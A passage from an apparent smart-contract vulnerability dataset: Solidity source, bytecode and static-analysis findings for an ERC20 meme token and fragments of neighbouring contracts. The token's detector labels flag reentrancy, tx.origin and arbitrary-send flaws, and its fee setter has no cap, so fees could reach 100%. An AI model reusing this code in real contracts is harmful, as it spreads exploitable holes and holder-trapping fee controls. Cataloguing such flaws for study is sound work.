f165b801561106c57506001600160a01b03851660009081526005602052604090205460ff16155b801561109157506001600160a01b03841660009081526005602052604090205460ff16155b156110b15761109f826112b3565b4780156110af576110af476111f5565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f657506001600160a01b03831660009081526005602052604090205460ff165b8061112857506015546001600160a01b0385811691161480159061112857506015546001600160a01b03848116911614155b15611135575060006111af565b6015546001600160a01b03858116911614801561116057506014546001600160a01b03848116911614155b1561117257600854600c55600954600d555b6015546001600160a01b03848116911614801561119d57506014546001600160a01b03858116911614155b156111af57600a54600c55600b54600d555b610a3c8484848461143c565b600081848411156111df5760405162461bcd60e51b81526004016105f391906119f2565b5060006111ec8486611c98565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610664573d6000803e3d6000fd5b60006006548211156112965760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f3565b60006112a061146a565b90506112ac838261148d565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fb576112fb611c39565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134f57600080fd5b505afa158015611363573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113879190611caf565b8160018151811061139a5761139a611c39565b6001600160a01b0392831660209182029290920101526014546113c09130911684610b5b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f9908590600090869030904290600401611ccc565b600060405180830381600087803b15801561141357600080fd5b505af1158015611427573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611449576114496114cf565b6114548484846114fd565b80610a3c57610a3c600e54600c55600f54600d55565b60008060006114776115f4565b9092509050611486828261148d565b9250505090565b60006112ac83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611634565b600c541580156114df5750600d54155b156114e657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150f87611662565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154190876116bf565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115709086611701565b6001600160a01b03891660009081526002602052604090205561159281611760565b61159c84836117aa565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e191815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061160f828261148d565b82101561162b57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116555760405162461bcd60e51b81526004016105f391906119f2565b5060006111ec8486611d3d565b600080600080600080600080600061167f8a600c54600d546117ce565b925092509250600061168f61146a565b905060008060006116a28e878787611823565b919e509c509a509598509396509194505050505091939550919395565b60006112ac83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bb565b60008061170e8385611c80565b9050838110156112ac5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f3565b600061176a61146a565b905060006117788383611873565b306000908152600260205260409020549091506117959082611701565b30600090815260026020526040902055505050565b6006546117b790836116bf565b6006556007546117c79082611701565b6007555050565b60008080806117e860646117e28989611873565b9061148d565b905060006117fb60646117e28a89611873565b905060006118138261180d8b866116bf565b906116bf565b9992985090965090945050505050565b60008080806118328886611873565b905060006118408887611873565b9050600061184e8888611873565b905060006118608261180d86866116bf565b939b939a50919850919650505050505050565b60008261188257506000610679565b600061188e8385611d5f565b90508261189b8583611d3d565b146112ac5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f3565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c357600080fd5b803561192881611908565b919050565b6000602080838503121561194057600080fd5b823567ffffffffffffffff8082111561195857600080fd5b818501915085601f83011261196c57600080fd5b81358181111561197e5761197e6118f2565b8060051b604051601f19603f830116810181811085821117156119a3576119a36118f2565b6040529182528482019250838101850191888311156119c157600080fd5b938501935b828510156119e6576119d78561191d565b845293850193928501926119c6565b98975050505050505050565b600060208083528351808285015260005b81811015611a1f57858101830151858201604001528201611a03565b81811115611a31576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5a57600080fd5b8235611a6581611908565b946020939093013593505050565b600080600060608486031215611a8857600080fd5b8335611a9381611908565b92506020840135611aa381611908565b929592945050506040919091013590565b600060208284031215611ac657600080fd5b81356112ac81611908565b8035801515811461192857600080fd5b600060208284031215611af357600080fd5b6112ac82611ad1565b600060208284031215611b0e57600080fd5b5035919050565b60008060008060808587031215611b2b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5c57600080fd5b833567ffffffffffffffff80821115611b7457600080fd5b818601915086601f830112611b8857600080fd5b813581811115611b9757600080fd5b8760208260051b8501011115611bac57600080fd5b602092830195509350611bc29186019050611ad1565b90509250925092565b60008060408385031215611bde57600080fd5b8235611be981611908565b91506020830135611bf981611908565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7957611c79611c4f565b5060010190565b60008219821115611c9357611c93611c4f565b500190565b600082821015611caa57611caa611c4f565b500390565b600060208284031215611cc157600080fd5b81516112ac81611908565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1c5784516001600160a01b031683529383019391830191600101611cf7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7957611d79611c4f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122002bc9191eb4da9378bfdd95a769a0b2922cec38924aea934042d389902dab01064736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,467 |
0x3C8e12bEdA7f23bE11A0a68b6b31276Eb4019246 | /**
*Submitted for verification at Etherscan.io on 2022-03-28
*/
/**
* TOKENOMICS
* 1,000,000,000,000 token supply
* Max transaction 10,000,000,000
* Max wallet 40,000,000,000
* 15-second cooldown to sell after a buy
* 12% tax on buys and sells
* 25% fee on sells within first (30) minutes post-launch, after 12%
* No team tokens, no presale
* token will be locked
* Contract will be renounced
* Join Telegram:
* https://t.me/virusofTheseus_eth
SPDX-License-Identifier: UNLICENSED
*/
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Elon is Context, IERC20, Ownable {
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode" virus of Theseus";
string public constant symbol = unicode"VOT";
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable public _FeeAddress1;
address payable public _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 12;
uint public _sellFee = 12;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (30 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (30 minutes)) {
fee += 13;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 10000000001 * 10**9; // 1%
_maxHeldTokens = 40000000001 * 10**9; // 4%
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function toggleImpactFee(bool onoff) external {
require(_msgSender() == _FeeAddress1);
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106101e75760003560e01c80635090161711610102578063a9059cbb11610095578063db92dbb611610064578063db92dbb614610577578063dcb0e0ad1461058c578063dd62ed3e146105ac578063e8078d94146105f257600080fd5b8063a9059cbb14610517578063b2131f7d14610537578063c3c8cd801461054d578063c9567bf91461056257600080fd5b8063715018a6116100d1578063715018a6146104955780638da5cb5b146104aa57806394b8d8f2146104c857806395d89b41146104e857600080fd5b8063509016171461042a578063590f897e1461044a5780636fc3eaec1461046057806370a082311461047557600080fd5b806327f3a72a1161017a5780633bed4355116101495780633bed4355146103b457806340b9a54b146103d457806345596e2e146103ea57806349bd5a5e1461040a57600080fd5b806327f3a72a1461032a578063313ce5671461033f57806332d873d814610366578063367c55441461037c57600080fd5b80630b78f9c0116101b65780630b78f9c0146102b857806318160ddd146102d85780631940d020146102f457806323b872dd1461030a57600080fd5b80630492f055146101f357806306fdde031461021c5780630802d2f614610266578063095ea7b31461028857600080fd5b366101ee57005b600080fd5b3480156101ff57600080fd5b50610209600d5481565b6040519081526020015b60405180910390f35b34801561022857600080fd5b5061025960405180604001604052806011815260200170207669727573206f66205468657365757360781b81525081565b604051610213919061192f565b34801561027257600080fd5b50610286610281366004611999565b610607565b005b34801561029457600080fd5b506102a86102a33660046119b6565b61067c565b6040519015158152602001610213565b3480156102c457600080fd5b506102866102d33660046119e2565b610692565b3480156102e457600080fd5b50683635c9adc5dea00000610209565b34801561030057600080fd5b50610209600e5481565b34801561031657600080fd5b506102a8610325366004611a04565b6106f9565b34801561033657600080fd5b506102096107e1565b34801561034b57600080fd5b50610354600981565b60405160ff9091168152602001610213565b34801561037257600080fd5b50610209600f5481565b34801561038857600080fd5b5060085461039c906001600160a01b031681565b6040516001600160a01b039091168152602001610213565b3480156103c057600080fd5b5060075461039c906001600160a01b031681565b3480156103e057600080fd5b50610209600a5481565b3480156103f657600080fd5b50610286610405366004611a45565b6107f1565b34801561041657600080fd5b5060095461039c906001600160a01b031681565b34801561043657600080fd5b50610286610445366004611999565b61088b565b34801561045657600080fd5b50610209600b5481565b34801561046c57600080fd5b506102866108f9565b34801561048157600080fd5b50610209610490366004611999565b610926565b3480156104a157600080fd5b50610286610941565b3480156104b657600080fd5b506000546001600160a01b031661039c565b3480156104d457600080fd5b506010546102a89062010000900460ff1681565b3480156104f457600080fd5b50610259604051806040016040528060038152602001621593d560ea1b81525081565b34801561052357600080fd5b506102a86105323660046119b6565b6109b5565b34801561054357600080fd5b50610209600c5481565b34801561055957600080fd5b506102866109c2565b34801561056e57600080fd5b506102866109f8565b34801561058357600080fd5b50610209610a9b565b34801561059857600080fd5b506102866105a7366004611a6c565b610ab3565b3480156105b857600080fd5b506102096105c7366004611a89565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156105fe57600080fd5b50610286610b26565b6007546001600160a01b0316336001600160a01b03161461062757600080fd5b600780546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b6000610689338484610e71565b50600192915050565b6007546001600160a01b0316336001600160a01b0316146106b257600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60105460009060ff16801561072757506001600160a01b03831660009081526004602052604090205460ff16155b801561074057506009546001600160a01b038581169116145b1561078f576001600160a01b038316321461078f5760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b61079a848484610f95565b6001600160a01b03841660009081526003602090815260408083203384529091528120546107c9908490611ad8565b90506107d6853383610e71565b506001949350505050565b60006107ec30610926565b905090565b6007546001600160a01b0316336001600160a01b03161461081157600080fd5b600081116108565760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b6044820152606401610786565b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd890602001610671565b6008546001600160a01b0316336001600160a01b0316146108ab57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a5301490602001610671565b6007546001600160a01b0316336001600160a01b03161461091957600080fd5b476109238161158e565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b0316331461096b5760405162461bcd60e51b815260040161078690611aef565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610689338484610f95565b6007546001600160a01b0316336001600160a01b0316146109e257600080fd5b60006109ed30610926565b905061092381611613565b6000546001600160a01b03163314610a225760405162461bcd60e51b815260040161078690611aef565b60105460ff1615610a6f5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610786565b6010805460ff1916600117905542600f55678ac72304c582ca00600d5568022b1c8c12633aca00600e55565b6009546000906107ec906001600160a01b0316610926565b6007546001600160a01b0316336001600160a01b031614610ad357600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610671565b6000546001600160a01b03163314610b505760405162461bcd60e51b815260040161078690611aef565b60105460ff1615610b9d5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610786565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610bda3082683635c9adc5dea00000610e71565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3c9190611b24565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cad9190611b24565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610cfa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d1e9190611b24565b600980546001600160a01b0319166001600160a01b039283161790556006541663f305d7194730610d4e81610926565b600080610d636000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610dcb573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610df09190611b41565b505060095460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610e49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e6d9190611b6f565b5050565b6001600160a01b038316610ed35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610786565b6001600160a01b038216610f345760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610786565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ff95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610786565b6001600160a01b03821661105b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610786565b600081116110bd5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610786565b600080546001600160a01b038581169116148015906110ea57506000546001600160a01b03848116911614155b1561152f576009546001600160a01b03858116911614801561111a57506006546001600160a01b03848116911614155b801561113f57506001600160a01b03831660009081526004602052604090205460ff16155b156113cb5760105460ff166111965760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610786565b600f5442036111d55760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b6044820152606401610786565b42600f54610e106111e69190611b8c565b111561126057600e546111f884610926565b6112029084611b8c565b11156112605760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b6064820152608401610786565b6001600160a01b03831660009081526005602052604090206001015460ff166112c8576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b42600f5460786112d89190611b8c565b11156113ac57600d548211156113305760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e00000000006044820152606401610786565b61133b42601e611b8c565b6001600160a01b038416600090815260056020526040902054106113ac5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610786565b506001600160a01b038216600090815260056020526040902042905560015b601054610100900460ff161580156113e5575060105460ff165b80156113ff57506009546001600160a01b03858116911614155b1561152f5761140f42600f611b8c565b6001600160a01b038516600090815260056020526040902054106114815760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610786565b600061148c30610926565b905080156115185760105462010000900460ff161561150f57600c54600954606491906114c1906001600160a01b0316610926565b6114cb9190611ba4565b6114d59190611bc3565b81111561150f57600c54600954606491906114f8906001600160a01b0316610926565b6115029190611ba4565b61150c9190611bc3565b90505b61151881611613565b478015611528576115284761158e565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061157157506001600160a01b03841660009081526004602052604090205460ff165b1561157a575060005b6115878585858486611787565b5050505050565b6007546001600160a01b03166108fc6115a8600284611bc3565b6040518115909202916000818181858888f193505050501580156115d0573d6000803e3d6000fd5b506008546001600160a01b03166108fc6115eb600284611bc3565b6040518115909202916000818181858888f19350505050158015610e6d573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061165757611657611be5565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116b0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116d49190611b24565b816001815181106116e7576116e7611be5565b6001600160a01b03928316602091820292909201015260065461170d9130911684610e71565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790611746908590600090869030904290600401611bfb565b600060405180830381600087803b15801561176057600080fd5b505af1158015611774573d6000803e3d6000fd5b50506010805461ff001916905550505050565b600061179383836117a9565b90506117a1868686846117f0565b505050505050565b60008083156117e95782156117c15750600a546117e9565b50600b54600f546117d490610708611b8c565b4210156117e9576117e6600d82611b8c565b90505b9392505050565b6000806117fd84846118cd565b6001600160a01b0388166000908152600260205260409020549193509150611826908590611ad8565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611856908390611b8c565b6001600160a01b03861660009081526002602052604090205561187881611901565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118bd91815260200190565b60405180910390a3505050505050565b6000808060646118dd8587611ba4565b6118e79190611bc3565b905060006118f58287611ad8565b96919550909350505050565b3060009081526002602052604090205461191c908290611b8c565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561195c57858101830151858201604001528201611940565b8181111561196e576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461092357600080fd5b6000602082840312156119ab57600080fd5b81356117e981611984565b600080604083850312156119c957600080fd5b82356119d481611984565b946020939093013593505050565b600080604083850312156119f557600080fd5b50508035926020909101359150565b600080600060608486031215611a1957600080fd5b8335611a2481611984565b92506020840135611a3481611984565b929592945050506040919091013590565b600060208284031215611a5757600080fd5b5035919050565b801515811461092357600080fd5b600060208284031215611a7e57600080fd5b81356117e981611a5e565b60008060408385031215611a9c57600080fd5b8235611aa781611984565b91506020830135611ab781611984565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611aea57611aea611ac2565b500390565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611b3657600080fd5b81516117e981611984565b600080600060608486031215611b5657600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b8157600080fd5b81516117e981611a5e565b60008219821115611b9f57611b9f611ac2565b500190565b6000816000190483118215151615611bbe57611bbe611ac2565b500290565b600082611be057634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c4b5784516001600160a01b031683529383019391830191600101611c26565b50506001600160a01b0396909616606085015250505060800152939250505056fea264697066735822122020c8e398c7ef8df2b66961063c7c9f5e85ed959cd8721d0433aa04941c978da664736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,468 |
0xe98945936dd2f04294afd798ed7036a8e9ba6acc | pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
